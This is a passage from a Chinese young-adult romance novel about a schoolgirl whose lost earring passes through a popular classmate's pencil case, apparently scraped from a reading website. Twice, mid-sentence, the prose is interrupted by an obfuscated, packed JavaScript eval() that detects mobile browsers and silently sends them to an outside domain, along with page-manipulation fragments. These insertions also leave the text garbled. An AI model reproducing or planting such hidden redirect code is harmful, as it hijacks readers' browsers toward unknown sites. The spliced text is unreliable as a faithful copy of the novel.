喻星旋顺手拿过手机解锁。下一秒,她睁大了眼睛,差点拿不稳手机。 陈嘉授的头像赫然出现在最上方,多了一个红底白字的“+2”气泡。 喻星旋心猛地一跳,点开第一条语音。 “喻工。” 手机音量开太大,自动地免提播放出声。阿敏满脸八卦地问:“谁啊谁啊,声音还挺好听的。” 喻星旋手有点抖,一边调小音量,一边遮掩:“客户,客户。” 她点开第二条语音,迅速把听筒放到耳边。 陈嘉授的嗓音有些失真,像裹挟着电流:“你怎么老丢东西在我这。” 4. 约他 . 不知道时隔一周,他是怎么想到在周一的一大早跟她联系的。 喻星旋盯着那两条很短的语音条,觉得陈嘉授这次的主动,很有可能动机不纯。 片刻后,她想到一个最好的解释。 就是陈嘉授上周像见她一样见了其他人。多方比较后,觉得仍然是自己的条件更好,这才自作聪明地,装作别人的记忆不存在一般,想起来吃回头草。 从前喻星旋就常常想,大概不会有人的暗恋会像她一样。没有交集的时候看着他的背影,幻想他们在校园的任何地方发生偶遇;可当真正产生交集的时候,又总是忍不住用微妙的恶意吸引他的注意。 也因此,喻星旋阴暗地揣测着陈嘉授主动给她发语音的目的,半天才想起被她忽略的,语音的内容。 他说,你怎么老丢东西在我这。 这才意识到,他说的是多么久远的一件事。久远到喻星旋发现他好像还记得这件事时,感到一种暌违已久的恍惚。 其实她真正在陈嘉授面前丢东西,只有唯一的一次。 那时是高一开学,军训结束没几天,喻星旋连班里同学的名字还没认全。 - 喻星旋当年所就读的长南中学,是全市历史最悠久的一所名高中。 北邻长南市的历史文化胜地雁平湖,又被几所市里的高校环绕其中。 学校西门外那一条学府路,无论什么时候都喧嚷热闹。 周二下午放学,堂姐喻迟带喻星旋去学府路上的一家小店打耳洞。 耳垂被清凉的消毒棉片反复擦拭,店主手持着耳钉枪,在喻星旋耳畔一阵比划。 忽然耳垂一热,店主就说:“可以了。” 很快,第二枚也打好。 喻迟:“疼不疼?” 说实话有点疼。喻星旋指甲陷进手心肉,却还是摇摇头,云淡风轻地说:“没什么感觉。” 喻迟捧着喻星旋的下巴,满意地邀功:“还不错,你看我给你选的耳钉,超级适合你!” 喻迟递给她一面镜子,喻星旋抬手,想要摸摸那个银质的十字星耳钉。 店主连忙制止:“别碰啊。七天不能沾水不能沾脏,每天给耳钉消毒,发炎了及时去医院。” 一走出店门,优等生心理立刻占据上风,喻星旋觉得全世界都在盯着她看,抬手把塞在耳后的两侧及肩发拨到前面掩饰。 “姐,你说如果被发现了会不会被开除啊?” “谁没事盯着你看,况且咱们学校打耳洞的人多的是,也不差你一个。” 这话倒不假。 尽管长南中学的教学在全市一骑绝尘,课余活动也丰富,但着装方面并不自由,规定所有学生在校时,如果没有特殊情况就只能穿夏秋两季的校服。夏天的T恤没有版型可言,秋天的校服外套像块臃肿的麻袋。 这对于高中时期美商初步成形的女生们而言,无疑是一种打击。 服装上没有商量的余地,不少人都打起了其他主意。 比如淡得看不出的裸妆,透明泛粉的指甲油,或是在拉起袖子时,不经意露出的晶莹漂亮的手链。 喻星旋对这些都不感兴趣,她打耳洞,纯粹是故意跟她讨厌的校领导对着干。 九月入秋,长南的天气一早一晚温差很大。昨天喻星旋出门时穿着秋季校服,课间跑操她出了不少汗,就把外套脱下来拿在手上。 这一幕被一个姓邱的主任看到,明明其他人也有热得把校服脱了的,但他没法挨个把他们都抓到,就只针对她一个。在人来人往的操场门口,喻星旋一直被他训斥到所有学生都离开。 校规上也是禁止打耳洞、戴首饰的。显得喻星旋做的这个决定,多了一层其他的含义—— 只是脱校服都要挨骂,横竖都是挨骂,既然不能白挨,那她干脆做得更过分好了。 喻迟今年读高三,已经是成年人,她是浓颜长相,身材玲珑有致,信誓旦旦地搂着喻星旋的肩保证:“放心,我初三那年打的,我爸妈到现在都没发现呢。” “而且就算真的被逮到,那些老古董也会对你这个全市第七网开一面的。” 长南是个直辖市。今年中考,全市前十有八个花落长南中学。喻星旋就是其中之一。 听了喻迟的保证,喻星旋也觉得自己有点小题大做。 “好啦,打都打了,咱们都好久没见了,姐姐请你喝奶茶。” 喻迟揽着她走向街对面生意最好的一家奶茶店:“喝完奶茶去奶奶家吃饭。” 奶茶店生意很好,但环境也吵,喻星旋坐到靠里的位置上,打算等喻迟回来就一起走。 喻星旋看了眼长长的队伍,看上去还要等一会儿,她坐了回去,翻出试卷,开始解物理作业没做出来的最后一道大题。 她侧脸莹白,发尾修的很薄,垂眸思考时清冷而专注。 有附近高中的男生找她搭讪,没两句就被她冷漠的态度劝退。 再一次感受到阴影落在身上,喻星旋解题的思路被迫中止,有些不耐烦地抬头看向不长眼的搭讪者。谁知这次出现的人却是提着奶茶的喻迟,还伸手戳了一下她的脸颊:“看清楚了,是我。” 喻星旋松了口气:“是你啊。我还以为……” “还以为又是找你搭讪的人?”前后变脸差距之大,喻迟禁不住笑出声,“刚才找你的男生长得还挺帅的,不考虑认识认识?” 喻星旋反感地皱眉:“他甚至都不了解我是什么样的人,才见我一面就说想跟我交个朋友,我为什么要跟他认识?这种邀请一点诚意都没有。” “那——如果是你姐姐我想认识别人呢?” “你当然不一样。”喻星旋像是忽然意识到什么,觉得简直毫不意外,“……你又跟男朋友闹分手了?” “我哪个男朋友?我都分手好几个月了好不好?”喻迟无语道,“都是哪年的老黄历了,我说的是那个人——” 大约两点钟的方向。喻星旋顺着喻迟手指的方向看去。 靠橱窗的一排吧台椅那里,有两个穿着他们学校高一校服的男生。 正对着她们的那个校服系在腰间,坐姿随意,卫衣兜帽松松垮垮的,头发是学校明令禁止的卷毛,笑的时候歪着嘴角,带点邪气,一看便知是那种无忧无虑、一心等着继承家业的二世祖。 而喻星旋第一时间注意到的,是另一个背对着他们的男生。 他的后脑勺尤其饱满好看,枕部发际线修剪利落,规整翻折出来的衣领绕着修长的脖颈。长中宽大拖沓的校服披在他身上硬是穿出了少年气,肩部甚至能折出分明的线条。 只一个背影都有种鹤立鸡群的气质。喻星旋不由得多看了一眼。 喻迟兴奋地跟她咬着耳朵:“他这款就是你姐姐我的天菜啊,你说我要不要请他们喝杯奶茶,顺便跟他认识一下?” 喻星旋郑重道:“你最好不要。” 喻迟一滞:“你怎么知道?” “因为他是我们班班长。” 喻星旋声音毫无起伏,却像淬了冰,多少夹杂了些私人恩怨:“军训当面跟他表白的人全都被拒绝了,两只手都数不过来。你是这段时间第四个找我打听他的人。” 喻迟表情有点难以置信,喃喃道:“不会吧,这么受欢迎?” “而且,听你的语气,你好像对他很有意见?” 喻星旋摇头,发现四周有很多他们年级的同学,谨慎地指指门外,示意喻迟出去说。 走在路上,喻星旋才回答喻迟刚才的问题。语气有一丝轻微的不服气:“一句话都没说过,我能对他有什么意见。” 虽然入班至今没说过话,但陈嘉授这个名字,喻星旋最近已经听得头皮发麻。 从幼儿园到初中毕业,喻星旋认识的人中,从没有一个像他一样,一入校就受尽关注。 拜她同桌李安蓝所赐。这些日子李安蓝不知从哪搜刮来了一堆陈嘉授的八卦,一有机会就给前后左右科普。 喻星被迫听了一些,大多数都左耳进右耳出了。她只在入学成绩单上对陈嘉授的名字有印象。这年全市前十名有三个在他们班级,喻星旋是全市第七,而陈嘉授和班里另一个叫施秦的男生,两个人并列全市第一。 虽然中间隔着四个人。但其实喻星旋只比第一名少了3分。 只是一道选择题的差距,待遇却天差地别。 陈嘉授一入学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但她不答应,喻迟就把她压在床上,故意用胸脯压得她喘不过气来,压得喻星旋耳尖红得滴血,连连求饶。 不仅如此,她还捏着喻星旋的脸威逼利诱,说如果她不帮自己,就告诉奶奶她一时兴起去打耳洞的事。 没办法,喻星旋只得屈服在她的淫威之下。 反正又不是自己想约陈嘉授,她身正不怕影子斜。 而且如果喻迟能通过这件事发现陈嘉授不是个好人,喻星旋就更喜闻乐见了。 - 长南中学分住宿和走读。每天中午,住宿生回寝室休息,部分家离得比较远的走读生,也会留在教室午休。 喻星旋提前看了课表,周三下午第一节是体育课,课前去塞纸条最安全。因为中午不回家在教室午休的几个男生,都会提前去篮球场上占场地。 行动前,喻星旋翻着下午上课要讲的篇目,却一个字都看不进去。 一直等到最后一个男生离开,喻星旋这才离开位置,捏紧口袋里的纸条,迅速走到后门旁边陈嘉授的位置。 他的桌子干净得离谱,笔袋整齐地拉好,一本书都没有摆在桌面上。 喻星旋犹豫着,到底应该把纸条压在他的笔袋下面,还是塞在他的课桌里。 此时,虚掩的后门外,却忽然传来一阵由远及近的脚步声。 喻星旋手里还拿着那张折了两折的纸条,紧张得手心都出汗,做贼心虚地在原地蹲下,等那一阵脚步声由近及远,最后彻底过去。 喻星旋以为已经没事了,视野一角,忽然出现一双黑白相间的崭新球鞋。 “……” 完蛋了。 她就不该答应喻迟。 喻星旋僵住的几秒钟,视线略微向上抬—— 她看到一只垂下的左手,手背筋络分明,腕骨上扣着一块黑色的运动手表,以及一串深紫色的、由很小的檀木珠穿成的、绕了三绕的手串。 座位的主人不知什么时候回来,居高临下的视线落下。 陈嘉授目光漠然,看着女生鬼鬼祟祟、称不上自然的举动:“你在干嘛。” 5. 傲慢 . 喻星旋迅速站起来,她不确定自己的脸有没有涨红,但两颊火辣辣的,像是烧起来一般。 与此同时,啪的一声,那张粉红色的纸条,就这么笔直地从她身上滚落到地上。 她立刻弯腰去捡,可是已经晚了,被对方抢先了一步。 陈嘉授修长的手指夹着纸条,目光落在对面的女生身上,审视的意味极浓。 并不是最近常来纠缠他的几个追求者。陈嘉授花了几秒钟,认出她好像是同班的同学。 塞纸条被他抓了个正着,但心理素质好得过分,脸上一点慌乱都没有。 男生个子很高,喻星旋平视并不能看到他的脸,只能看到他将纸条夹在手里,却没有要拆开的意思。 喻星旋疑惑他为什么不说话,下一秒,一道不近人情的声音就落在耳边:“给我的?” “不是我写的,是帮别人转交给你。” 喻星旋表面镇定,指甲已经紧张得要把掌心抠破了。 “她为什么不自己给我?” “她中午不在学校。” 见陈嘉授没有其他疑问,而且纸条已经送到手,喻星旋的任务也完成了,她正要绕过他回自己的座位,粉色纸条就被陈嘉授递回她面前,全然拒绝的姿态:“你的东西,拿走。” “……” 喻星旋喉咙一梗,显然对方从始至终都不相信她的说法。 而且她终于明白他为什么语气像是在审犯人,因为陈嘉授一定是把她当成了他的追求者。 不仅如此,她的解释他一句都不听,明显认定了她是因为被拆穿了才临时编了个人出来。 “真的不是,不信你打开纸条看看,我写字不这样。” “那你写一个。” 喻星旋怔住:“什么?” 喻星旋甚至还没反应过来对方是在对她发号施令,他就随手从同桌的书立中随手抽出一本书摊开,点了点桌面,眼神锐利:“你的字是什么样,写一个。” 喻星旋实在是太急于自证了,坐下来,飞快地抄了一句那一页课本上的古诗词。 放下笔,她才彻底松了口气:“可以了吧。” 可陈嘉授根本没打开纸条验证一下字迹就放回她面前,纡尊降贵地开口:“拿回去吧,今天的事我就当没发生过,别在我身上花心思了。” 喻星旋眼前一黑,终于被他傲慢的态度激怒。他明明就不相信她,还像猫耍老鼠一样耍着她玩。 喻星旋愠怒地扬起脸,忍不住跟对方摊牌的冲动:“你这样有意思吗?” “阿授,一群人都在操场等你,你跑哪去了?” 前门外,有个男生叫着陈嘉授的名字,风风火火地跑向教室。 喻星旋再气愤,也不想再被第三个人撞见这一幕,只好暂时作罢,快速对陈嘉授说出时间和地址:“今天下午五点半,这个人在学校西门外面的小花园约你,你不来就算了。” 说完,她拉开身边的教室后门,从后门跑开了。 沈林风刚从一楼跑到四楼,浑身是汗,抬手扒了扒满头的卷毛:“谁啊阿授,你刚才在跟谁说话?” “班里同学。” 沈林风一走近,就看到陈嘉授桌上的粉红色纸条,见怪不怪地感叹:“我说让你上来找个篮球,怎么大半天都不回来。这个月都第几个了?” 陈嘉授走到后排另一侧的卫生角,展开纸条看了眼,随手扔进了垃圾桶。 “授,你也真够绝情的,你扔进去的,是人家姑娘的少女心。”沈林风调侃,“这次又是哪个倒霉的美女?对了,她长得怎么样啊?” 陈嘉授回到位置,拿起她写过字的课本放回沈林风桌上。但合上课本之前,一行标致的行楷映入眼帘,写着“涉江采芙蓉,兰泽多芳草*”。 陈嘉授动作稍顿。 好像,确实不是同一个人的字迹。 没听清沈林风说什么,他合上书,很淡地笑了声:“还挺不赖。” “什么?能让你陈嘉授说好的,那不得是天仙的水准。咱们班还有这号人呐,是谁是谁?” 他夸的并不是长相。但随着沈林风这句话,女生的面容在他脑海一闪而过。 不同的长相在他眼里都是差不多的模糊和寡淡,但不知为何,陈嘉授这次仔细地回忆了一下她的模样,竟出乎意料地觉得有些不同。 很独特的清冷长相,面孔透着点倔强,大多时候面无表情,最后因为愤怒才显得生动了稍许。 “去你的。”陈嘉授将课本丢到沈林风怀里,“写得不赖。” “……确实。”沈林风很有自知之明,“比我的狗爬字不知道好了几倍。” 然而,等把书本翻过来看清了封皮上的名字,沈林风脸色马上变了:“草,这好像是我的书吧!!!” 陈嘉授毫无诚意地道歉:“不好意思。随手拿的,没注意。” 沈林风早就习惯了陈嘉授的做派:“授,你对你的追求者冷漠无情也就罢了,咱们俩多少年的交情,你舍得对我也这么冷漠吗?” 陈嘉授静静地看着他戏精上身:“你还拿不拿球了。” “拿拿拿!” 沈林风弯腰抱上球,大大咧咧地抬脚向外走。 陈嘉授忽然出声:“等等。” 沈林风脚还没落地,犹豫地收回腿:“咋了?” 他的座位下面,有个小小的、发亮的东西,刚才差点被沈林风踩到。 陈嘉授弯腰拾起,是一枚十字星耳钉,泛着银色的光泽,安静地躺在他手掌心。 “是刚才那个女生掉的?她叫什么名字啊?” “忘了。”陈嘉授顿了顿,从仅有的记忆里拼凑出对对方贫瘠的印象,“好像成绩很好。” “哦,那你说的应该是喻星旋。” "是她?"陈嘉授蹙眉,看着全班空荡荡的桌椅为难,“她坐哪?” “我知道,应该是在另一边第三排。” 沈林风从他手中拿起那枚耳钉,又迟疑了,“阿授你没看错吧?” “怎么?” “没什么,就是不太敢相信。她入学成绩是咱们班第三,就比你差了一点,居然也会打耳洞。” 似乎有些意外,陈嘉授眉梢扬了扬。 “阿授,老沈,还不来啊,就差你们了!” 这时,又有一个班里的男生上楼来催他们去打球,沈林风一着急,把那枚耳钉往桌上一个敞开的笔袋里一丢,也没注意是谁的。 …… 体育课解散后,喻星旋就在球场边的树荫下找了个安静的空位写作业。 没过多久,她的同桌李安蓝,和前桌商芝琳也走了过来:“哇,喻星旋,你居然也来了。” “……什么?” “你不是来看咱们班男生打球的吗?” 商芝琳说,二班的男生跟高二的一个班正在打友谊赛。 喻星旋抬眼,远远地看到某个球场上格外热闹,场外时不时响起叫好声。 “快看,那个穿白衣服的是不是陈嘉授啊!” 喻星旋想收回视线已经晚了,球场最耀眼的一个身影撞进视线,想忽视都不容易。 陈嘉授是前锋,穿着一件白色短袖,身形迅捷地在一群人中突围,突破、背身单打、快攻,每次得分都极其果断,引得场边观战的女生惊呼连连。 商芝琳和李安蓝不想去球场边挨晒,就在喻星旋旁边的树荫里坐下,叽叽喳喳的讨论声传来。 微风缓缓吹着,喻星旋又看了一眼场上的身影,眉毛拧起。注意到他们好几个人都把校服外套脱掉,只穿着自己的短袖。 想起她所经受的不公平待遇,喻星旋心理更不平衡了。她希望那个姓邱的光头主任立刻出现,然后把没穿校服的都抓走。 特别是陈嘉授。 二班由于刚组建,男生间的配合还不太熟练,最后以微弱的分差败给了对方。 虽然比赛输了,但二班的水平也得到了对面的认可,沈林风把偷带到学校的手机拿出来,加了他们前锋的微信,说有时间约球。 陈嘉授回到场边,重新穿好外套,冷淡地拒绝了几个试图给他递水或是问联系方式的女生,走向刚打完球的几个人:“去超市?请你们喝水。” 二班的男生积极响应:“好哎,授哥大手笔!” 一群人收拾东西往操场外的超市走。 对面的前锋笑道:“学弟,我们刚说到你呢,我打球这么久,从来没被这么多妹子围着看过,这次也算是沾你的光了。” 陈嘉授闻言,只是礼貌地笑笑。 又有人提议:“这节课只来得及打半场,我看大家都没打尽兴,那不如放学之后再约半场?” “我没问题。”沈林风看向陈嘉授,“你呢?” 陈嘉授摇头:“我就不去了,今天我太姥爷生日。” 其他人明显感觉到,听到这话,沈林风连吊儿郎当的站姿都端正了几分:“好吧,那你帮我向咱太姥爷致以我崇高的敬意,祝咱太姥爷长命百岁,再创新高。” 陈嘉授眼角噙了笑,嗤了声:“是你的吗就贫。” 陈嘉授大方地帮所有人结了账,想起班主任王世富让他抽空去办公室一趟,就先走了。 许永辉这才稀奇道:“老沈,授哥太姥爷什么来头啊?” 沈林风买了半天关子:“知道咱们国家第一枚原子弹和导弹是谁设计的吗?” 王辑没听到许永辉问的问题,下意识说道:“这题我会,我幼儿园的妹妹都知道,陈自钧嘛。” 沈林风讳莫如深地点点头。 “卧槽。”许永辉的震惊掩饰不住,“授哥太姥爷是陈自钧?” “我骗你干嘛?” 许永辉连忙摆手:“不不不。” 早就听说陈嘉授的家世很不一般,男生中也只流传着他母亲是长南大学物理系的教授,以及他爸是长南市著名企业家的传闻。但谁也想不到,陈嘉授居然跟出现在历史课本上的某个家喻户晓的伟人,有着这样紧密的关系。 王辑还是将信将疑:“不对吧,陈自钧也姓陈,就算是也该是他爷爷那边的亲戚?” 沈林风很无语地说:“人家爸妈碰巧一个姓,不行啊。” - ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818977|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放学铃一响,陈嘉就迅速走出教室,去车棚取车。 陈嘉授平时习惯走正门,但今天情况特殊,离陈自钧家更近的是西门。 到了西门外,他忽然想到,今天那个塞纸条的女生说,有人在外面的花园等他。 她说完沈林风就进来了,可能是不想被看到,她转身就跑,拦都拦不住。 他当时没来得及拒绝,但他更不至于为了件没答应的事再去找她一次。 陈嘉授握着车把,犹豫了一下。想起正好顺路,为了不让对方白等,他决定去花园看看。 离近了,他果然看到小花园里有个面生的女生,像是高三的学姐。 陈嘉授走过去,礼貌地开口:“你好。” 谁知女生完全像不认识他一般,茫然地问道:“你好,你找我有事吗?” 陈嘉授转身就走:“抱歉,认错了。” - 今年是陈自钧的九十二岁大寿。 因为不是整寿,陈自钧的个性又极其低调,一向不喜欢大操大办,他的门生和战友都默契地没有上门打扰。 陈自钧家住在长南市的某个部队大院里,房子是国家分配的,上世纪的格局。今天全家人到齐,客厅就显得不够宽敞了。有些在陪老爷子说话,有些则在跟其他亲戚寒暄。 陈嘉授一进门,耄耋之年的老人就停住了话题:“是阿授来了吗?过来让太姥爷看看。” “是我,您身体好吗?” “好,好,托你们的福,今天难得看到这么多人,感觉自己都年轻了不少啊。” 陈自钧须发尽白,但眼神丝毫不浑浊,仍旧明亮敏锐。他的气质慈祥而儒雅,一般人看到他,很难第一时间把他跟那些划时代的成就联系起来。 “您是老当益壮。”陈嘉授笑道,“咱们家的人在各行各业追赶您的成就,但大家还真不一定有您的精气神。” 这话不仅说得陈自钧眉开眼笑,连亲戚们都被不着痕迹地吹捧到,纷纷夸陈蔚和陈少威教子有方。 晚饭开始,陈自钧更是让陈嘉授坐到自己旁边,对他的偏爱毫不掩饰,一直问他最近又看了哪些书,有哪些问题想跟他探讨。 所有人都知道,年轻一代中,陈嘉授是最受陈自钧喜爱的一个。 但他们家没有谁对此有意见。 陈自钧曾为两弹事业做出突出贡献,唯一的遗憾是没能参与国家第一颗人造卫星的开发研究。五六个年轻小辈,只有陈嘉授在航天领域体现出了过人的天分,小小年纪就对航天飞行器研究颇有心得,初中就获得过好几个全国性的青少年组奖项。 大家族的家宴总是没有那么快结束,大人们在圆桌边高谈阔论,有些话不方便他们听,就把陈嘉授他们几个兄弟姐妹们支开,让他们回里面的房间写作业。 陈嘉授的表弟李冠群今年也上高一,不过是在长南另一所学校。他问大家:“暑假你们都去哪玩了?” 大家纷纷回答。有人问他:“你呢?” “别提了,哪都没去成。”李冠群哭笑不得,“都跟我同学说好了去夏威夷,结果忘了,我们家过不了a国的签证!” 大家都了然地笑成一片,只有家里最小的孩子、四岁的程程,睁着大眼睛好奇地问道:“哥哥为什么不能去a国呀?” 陈嘉授摸摸他的头:“这个问题很复杂,你就当做是太姥爷得罪了一个人,以后不能去a国,所以我们作为他的家人也都去不成。” “得罪是什么意思啊?” 陈嘉授失笑:“你再长大一点就明白了。” 陈自钧早年曾在a国深造。直到建国之初,见国内百废待兴,科技受制于人,他带领全部家人毅然踏上回国的航船,突破a国的冲冲阻拦封锁,带回了无数珍贵资料和先进技术。 也因此,他被a国当局记恨,他本人和家人都被写进了黑名单,后代也都禁止再入境a国。 陈自钧对国内两弹事业所做出的贡献,足以被载入史册。 陈嘉授从小就以之为榜样,将陈自钧当做他毕生追求的目标。 等陈嘉授写完了今天布置的作业,外面的家宴也要散场了,他将课本收拾整齐,走出房间,到客厅里给自己倒了杯水喝。中途又被几个大人叫走,问他升入高中后感觉怎么样,还习不习惯。 陈嘉授应付完他们的问题,正打算回房间,就看到程程手里捏着一枚小小的东西跑出来。 程程举着那个闪闪发亮的东西,像炫耀宝藏似的展示给大人们看:“宝石,宝石!” 陈少威拿过来,笑着纠正他:“不是宝石,这是耳钉,耳钉,戴在耳朵上的。” 陈嘉授眉心一跳,莫名有种不太好的预感。 他尽量淡定地喝了口水。听到程程的妈妈语气着急:“这也太危险了,你伤到自己怎么办?” 她把程程抱到椅子上,严肃地教育他:“别人的东西不能乱翻,你告诉妈妈,耳钉是从哪里拿的?” 餐桌旁,所有人都转过头看着程程。 下一秒,程程大声地说:“是从嘉授哥哥的铅笔袋里找到的!” 陈嘉授:“……” 6. 漏网的小鱼 . 客厅里有片刻的死寂。 一部分亲戚没反应过来,还有一部分则很快露出了八卦的表情。 毕竟,像耳钉这种性别色彩比较浓厚的饰品,一听就是女孩子的东西。 有亲戚干笑:“咳咳……阿授这是,课余生活还蛮丰富啊。” 陈嘉授握着杯柄的指骨发白,他只用了极短的时间,便在脑海中理清了事情的来龙去脉。 但现在明显不是个解释的好时机。于是陈嘉授蹙起眉:“程程,你确定是我的笔袋?我怎么完全不知道有这回事?” 程程可能也意识到自己捅了个大篓子,缩进妈妈怀里不敢说话了。 陈少威端详着那枚耳钉,忽然说道:“这耳钉好像有些眼熟,陈教授,是不是你的?” “……”陈蔚对上丈夫的眼神,点点头淡声说,“是我的,可能是收拾东西的时候不小心掉进去了。” “我就说嘛。”陈少威温声提醒她收好,这才对众人摆手,“对不住了啊各位,一场乌龙。” 夫妻俩一唱一和,话题很快被转去了别的地方。 但陈蔚收起那枚耳钉后,夫妻俩先后意味深长地看了陈嘉授一眼,让他莫名感到如坐针毡。 离开陈自钧家前,程程可怜巴巴地跑到陈嘉授面前:“嘉授哥哥对不起,我不该没经过你的允许就碰你的东西,我再也不会了。” 陈嘉授总不会跟一小孩置气:“没事儿,下次注意。” 时间已经很晚了,骑车不安全,陈嘉授把山地车放进后备箱,坐进车后排。 陈蔚坐在副驾驶上,一贯没什么情绪的理智语气:“陈嘉授,你最好解释一下。” “没什么可解释的,耳钉是班里一个女生的,沈林风捡到说要还给她,但他急着去打球,不小心放错了笔袋。” 车内一片沉默,半晌,陈少威很明显地假笑了几声:“哈哈,这么巧啊。” 陈嘉授难以置信:“……你们不相信我?” “你现在这个年纪,开始想这些也很正常,我跟你妈呢,也不是不通情理的家长。但有一点,绝对不许未成年性行为,就算那个……实在是情不自禁,也必须做好保护措施……” “爸?”陈嘉授太阳穴突突跳,陈少威突如其来的性教育犹如当头一棒,他激动得声音都有些变调,“你把我当什么人了?” 受冲动支配,一见异性就发情的动物? 他连女同学的纸条都不拆,洁身自好成那样,却被他爸质疑他绝不会在他当前的人生阶段发生的事,这跟羞辱他有什么两样。 陈嘉授深吸一口气:“妈,这事你跟爸以后别再提了。你先把耳钉还我,明天让沈林风给她还回去。” 陈蔚没有意见,翻出耳钉递给他。 陈少威更是乐呵呵的,还有心思调侃他:“还什么还啊,拿回去留个纪念吧?” 父母态度越是轻描淡写,陈嘉授越是难堪。他甚至希望陈蔚和陈少威能大惊小怪地骂他一顿,他至少还有反驳的空间。总好过现在这样,他们嘴上不说,但心里早就误会且默认,他越解释越显得心里有鬼。 陈嘉授有口难言,烦躁地降下车窗,试图用窗外的噪音屏蔽他爸的胡言乱语。 冷风吹进来,他手指攥紧,黑眸微眯,忽的冷笑了声:“怎么不还,当然要还。” …… 周四。 放学前最后一堂自习,前半堂被班主任王世富用来当班会课。 他是物理老师,今年五十上下,却像个老小孩,跟同学们打成一片,大家当着他的面都喊他“老王哥”“王师傅”,他也从来不红脸。 “学校最近又给我们班主任开了个会,说是咱们高一年级刚来,还不清楚仪容仪表的规定,所以让各班务必开个班会重点强调一下。” 老王打开小册子,清清喉咙:“你们写你们的作业,听我念就成。” 陈嘉授去年级办公室领材料,沈林风一个人坐着无聊,就跟前排的男生搞起了小动作。 老王丢了个粉笔头过去:“沈林风你还好意思笑,说的就是你,邱主任特意点了咱们班的名,他看你那头卷毛不顺眼,说你再不想办法处理,他带着剪刀专门为你跑一趟。” “王老师,我这头发是自来卷。”沈林风戏很多地苦着脸,“光……邱主任如果非要来,还得麻烦他再带个拉直板。” “噗。”老王没绷住,乐了。他起了个坏头,全班都跟着吃吃地笑起来。 “报告。” 门边响起一道低淡的清冽声音,声音不大,却让半个班的人都止住了笑,伸长脖子看向门边。 陈嘉授手臂间携着一叠材料,站在门口。男生身形好看,走到哪都惹眼。 王世富冲他招手:“陈嘉授,你来的正好,把材料发下去吧。” 陈嘉授从门边的第一排开始,按照s型把材料发到每个人手中。 他发着材料,王世富继续说下去:“那么第七点呢,就是女生不得佩戴耳钉、耳夹此类首饰……” 喻星旋正写着作业,笔尖莫名地抖了一下。她埋着头没有停笔,左手却缓慢地抬起来,欲盖弥彰一般,悄悄捂住了左耳上仅存的那枚耳钉。 昨天下午放学,她就发现右耳的耳钉不见了。 昨天为了印证陈嘉授如她所说,是个冷淡傲慢、自大无礼的人,喻星旋放学后,特意去西门外的花园陪喻迟一起等。 结果如她所料,等到太阳落山,也没看到陈嘉授的影子。 喻迟怀疑自己看男生的眼光:“好歹你们也是同学,他不想来,一下午都不跟你说一声吗?” 喻星旋忽然想起,放学铃响时她朝教室后门看了一眼,那时陈嘉授就已经不在座位上:“不过他今天好像出门很早,我来之前你有没有看到他?” “没看见,不过刚才倒是有个过来搭讪的男生,拽得二五八万,就说了句你好,认错了,转身就走了。” 确定陈嘉授没来,喻星旋放心地下了结论:“姐,这绝对是你眼光最差的一次。” 喻迟突然幽幽地盯着她。 “……怎么了吗?” 喻迟指着她右耳:“你这边耳钉怎么不见了。” 喻星旋平时的活动范围很简单,就是教室和奶奶家两点一线。 但昨天情况特殊,她猜耳钉可能是体育课热身时掉在了操场上,不打算去找,也没决定好要不要再买一枚新的。 思绪在她视线触及到陈嘉授的身影时暂停。 他在挨个人发材料,此刻恰好发到跟她隔着一条走廊的同学。 喻星旋下意识抵触他的靠近,尽管她靠里挪动了一点,却还是注意到,他身上有松木柔顺剂的香味拂过鼻端,很淡的一点。 陈嘉授发完那一排后,又从后排折返回来,再次路过她的课桌边,把她和李安蓝的材料放到她面前的书立上方,没做停留地走了。 喻星旋依旧维持着握笔思考的姿势,没有抬头。 李安蓝拿过两张材料,把其中一张递给她。 喻星旋接过来道了声谢,听到李安蓝嘀咕:“班长今天真是奇怪,以前发材料都是发给第一排往后传的。” 喻星旋也说不上来哪里怪怪的,但老王还在讲台上滔滔不绝,她出于心虚,有些回避老师的视线。 半堂自习后,班会结束了,老王开始在课桌间来回踱步。 经过喻星旋身边时,她左手托着腮,实际是为了捂住左耳上的耳钉。 老王向前走了。喻星旋刚松了口气,就看到老王后退一步,停在了桌边。 喻星旋心下一咯噔。余光瞥见老王伸手,从她书立上捏起了什么东西—— 老王眯着眼端详:“这啥啊?” 喻星旋整个人僵住,惊悚地抬头,她昨天不见的那枚十字星耳钉,此刻正被老王捏在手里。 四周立刻泛起了小声的议论。 老王手掌往下压,示意大家安静,看向喻星旋,诙谐地说:“好哇,居然还有新收获,刚开完会就发现一条漏网之鱼。” “……” “漏网的小鱼,出来跟老师聊聊呗?” 王世富是真的没有想到,第一个带头违反的人,居然会是他很喜欢的课代表。 她中考成绩是全市前十,来到他们班上,也总是独来独往、内敛、话不多的样子,一心扑在学习上,像是有自己的世界。从来懒得去凑热闹,也不屑于做些出格的事。 他猜想,她不会无缘无故这般,大概率是事出有因。 想着小女孩脸皮薄,自尊心强,王世富严肃中不失关心地迂回问道:“课代表,最近压力有点大?” 老王没有直接骂她,喻星旋有些意外,抬头看着老王的眼睛,抿唇摇摇头:“不是。” …… 二班教室里,自从喻星旋跟着老王出门,就又闹腾起来。 因为事发突然,沈林风现在才后知后觉明白过来:“阿授,她是打耳洞被老王发现了?” 陈嘉授淡淡应了声:“好像是。” 沈林风一拍大腿:“忽然想起来,昨天我说要把耳钉还她,结果我不小心给忘了!” 他翻遍了自己的书包和笔袋都没发现,问陈嘉授:“授,你还记得我放哪了吗?” 